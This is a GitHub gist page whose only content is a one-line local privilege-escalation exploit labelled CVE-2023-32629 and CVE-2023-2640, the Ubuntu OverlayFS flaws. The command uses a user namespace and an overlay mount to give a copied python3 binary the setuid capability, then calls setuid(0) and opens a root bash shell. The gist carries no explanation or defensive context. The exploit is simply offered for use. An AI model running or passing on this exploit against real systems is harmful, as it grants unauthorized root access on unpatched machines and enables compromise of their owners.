Skip to content

Instantly share code, notes, and snippets.

@coffnix
Created November 10, 2023 12:06
Show Gist options
  • Save coffnix/e8cebdc36c069072acdcafa4dde58fa3 to your computer and use it in GitHub Desktop.
Save coffnix/e8cebdc36c069072acdcafa4dde58fa3 to your computer and use it in GitHub Desktop.
CVE-2023-32629 и CVE-2023-2640
unshare -rm sh -c "mkdir l u w m && cp /u*/b*/p*3 l/;setcap cap_setuid+eip l/python3;mount -t overlay overlay -o rw,lowerdir=l,upperdir=u,workdir=w m && touch m/*; python3 -c 'import os;os.setuid(0);os.system(\"/bin/bash\")'"
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment